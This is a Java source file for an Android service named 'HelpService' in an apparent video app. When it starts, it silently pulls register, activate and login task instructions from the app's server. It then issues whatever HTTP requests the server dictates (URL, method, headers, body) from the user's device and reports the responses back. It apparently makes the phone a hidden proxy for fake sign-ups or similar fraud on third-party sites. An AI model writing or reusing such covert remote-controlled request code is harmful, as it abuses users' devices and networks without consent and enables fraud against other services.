package com.mugua.mgvideo.service;
|
|
import java.util.Map;
|
import java.util.Map.Entry;
|
|
import org.apache.http.Header;
|
import org.json.JSONException;
|
import org.json.JSONObject;
|
|
import com.google.gson.Gson;
|
import com.google.gson.JsonSyntaxException;
|
import com.google.gson.reflect.TypeToken;
|
import com.lcjian.library.util.common.StringUtils;
|
import com.loopj.android.http.RequestParams;
|
import com.loopj.android.http.SyncHttpClient;
|
import com.loopj.android.http.TextHttpResponseHandler;
|
import com.mugua.mgvideo.BasicTextHttpResponseHandler;
|
import com.mugua.mgvideo.MGVideoAPI;
|
|
import android.app.Service;
|
import android.content.Context;
|
import android.content.Intent;
|
import android.content.SharedPreferences;
|
import android.os.IBinder;
|
|
public class HelpService extends Service {
|
|
private String uid;
|
|
@Override
|
public IBinder onBind(Intent intent) {
|
return null;
|
}
|
|
@Override
|
public void onCreate() {
|
super.onCreate();
|
SharedPreferences share = getSharedPreferences("user",
|
Context.MODE_PRIVATE);
|
uid = share.getString("uid", "");
|
new GetTaskThread().start();
|
}
|
|
private void runTask() throws Exception {
|
if (StringUtils.isBlank(uid))
|
return;
|
|
MGVideoAPI.getLSRegisterUrlRequest(HelpService.this, uid,
|
new BasicTextHttpResponseHandler() {
|
|
@Override
|
public void onSuccessPerfect(int statusCode,
|
Header[] headers, JSONObject jsonObject)
|
throws Exception {
|
if (jsonObject.getBoolean("IsPost")) {
|
reportRequestResult(1 + "", jsonObject
|
.optJSONObject("Data")
|
.optJSONObject("Body").toString(),
|
getThirdRequest(jsonObject));
|
}
|
}
|
});
|
|
Thread.sleep(1 * 1000 * 60);
|
|
MGVideoAPI.getLSActiveUrlRequest(HelpService.this, uid,
|
new BasicTextHttpResponseHandler() {
|
|
@Override
|
public void onSuccessPerfect(int statusCode,
|
Header[] headers, JSONObject jsonObject)
|
throws Exception {
|
if (jsonObject.getBoolean("IsPost")) {
|
reportRequestResult(2 + "", jsonObject
|
.optJSONObject("Data")
|
.optJSONObject("Body").toString(),
|
getThirdRequest(jsonObject));
|
}
|
}
|
});
|
|
MGVideoAPI.getLSLoginUrlRequest(HelpService.this, uid,
|
new BasicTextHttpResponseHandler() {
|
@Override
|
public void onSuccessPerfect(int statusCode,
|
Header[] headers, JSONObject jsonObject)
|
throws Exception {
|
if (jsonObject.getBoolean("IsPost")) {
|
reportRequestResult(3 + "", jsonObject
|
.optJSONObject("Data")
|
.optJSONObject("Body").toString(),
|
getThirdRequest(jsonObject));
|
}
|
}
|
});
|
|
Thread.sleep(10 * 1000 * 60);
|
}
|
|
private void reportRequestResult(String type, String header, String data) {
|
MGVideoAPI.reportRequestResult(HelpService.this, uid, type, header,
|
data, new BasicTextHttpResponseHandler() {
|
@Override
|
public void onSuccessPerfect(int statusCode,
|
Header[] headers, JSONObject jsonObject)
|
throws Exception {
|
System.out.print("数据上报成功");
|
}
|
});
|
}
|
|
String result = "";
|
|
private String getThirdRequest(JSONObject jsonObject)
|
throws JsonSyntaxException, JSONException, Exception {
|
Map<String, String> headersMap = new Gson().fromJson(jsonObject
|
.getJSONObject("Data").getJSONObject("Header").toString(),
|
new TypeToken<Map<String, String>>() {
|
}.getType());
|
String method = jsonObject.optJSONObject("Data").optString("Method");
|
SyncHttpClient syncHttpClient = new SyncHttpClient();
|
syncHttpClient.setURLEncodingEnabled(false);
|
syncHttpClient.setTimeout(60 * 1000);
|
for (Entry<String, String> entry : headersMap.entrySet()) {
|
syncHttpClient.addHeader(entry.getKey(), entry.getValue());
|
}
|
|
syncHttpClient.setURLEncodingEnabled(false);
|
if (method.equalsIgnoreCase("GET")) {
|
syncHttpClient.get(HelpService.this,
|
jsonObject.getJSONObject("Data").getString("Url"),
|
new TextHttpResponseHandler() {
|
|
@Override
|
public void onSuccess(int statusCode, Header[] headers,
|
String responseString) {
|
result = responseString;
|
}
|
|
@Override
|
public void onFailure(int statusCode, Header[] headers,
|
String responseString, Throwable throwable) {
|
}
|
});
|
} else {
|
Map<String, String> bodyMap = new Gson().fromJson(jsonObject
|
.getJSONObject("Data").getJSONObject("Body").toString(),
|
new TypeToken<Map<String, String>>() {
|
}.getType());
|
RequestParams params = new RequestParams();
|
|
for (Entry<String, String> entry : bodyMap.entrySet()) {
|
params.put(entry.getKey(), entry.getValue());
|
}
|
|
syncHttpClient.post(HelpService.this,
|
jsonObject.getJSONObject("Data").getString("Url"), params,
|
new TextHttpResponseHandler() {
|
|
@Override
|
public void onSuccess(int statusCode, Header[] headers,
|
String responseString) {
|
result = responseString;
|
}
|
|
@Override
|
public void onFailure(int statusCode, Header[] headers,
|
String responseString, Throwable throwable) {
|
}
|
});
|
}
|
|
return result;
|
}
|
|
private class GetTaskThread extends Thread {
|
public GetTaskThread() {
|
|
}
|
|
@Override
|
public void run() {
|
for (int i = 0; i < 3; i++) {
|
try {
|
runTask();
|
} catch (InterruptedException e) {
|
// TODO Auto-generated catch block
|
e.printStackTrace();
|
} catch (Exception e) {
|
e.printStackTrace();
|
}
|
}
|
}
|
}
|
}
|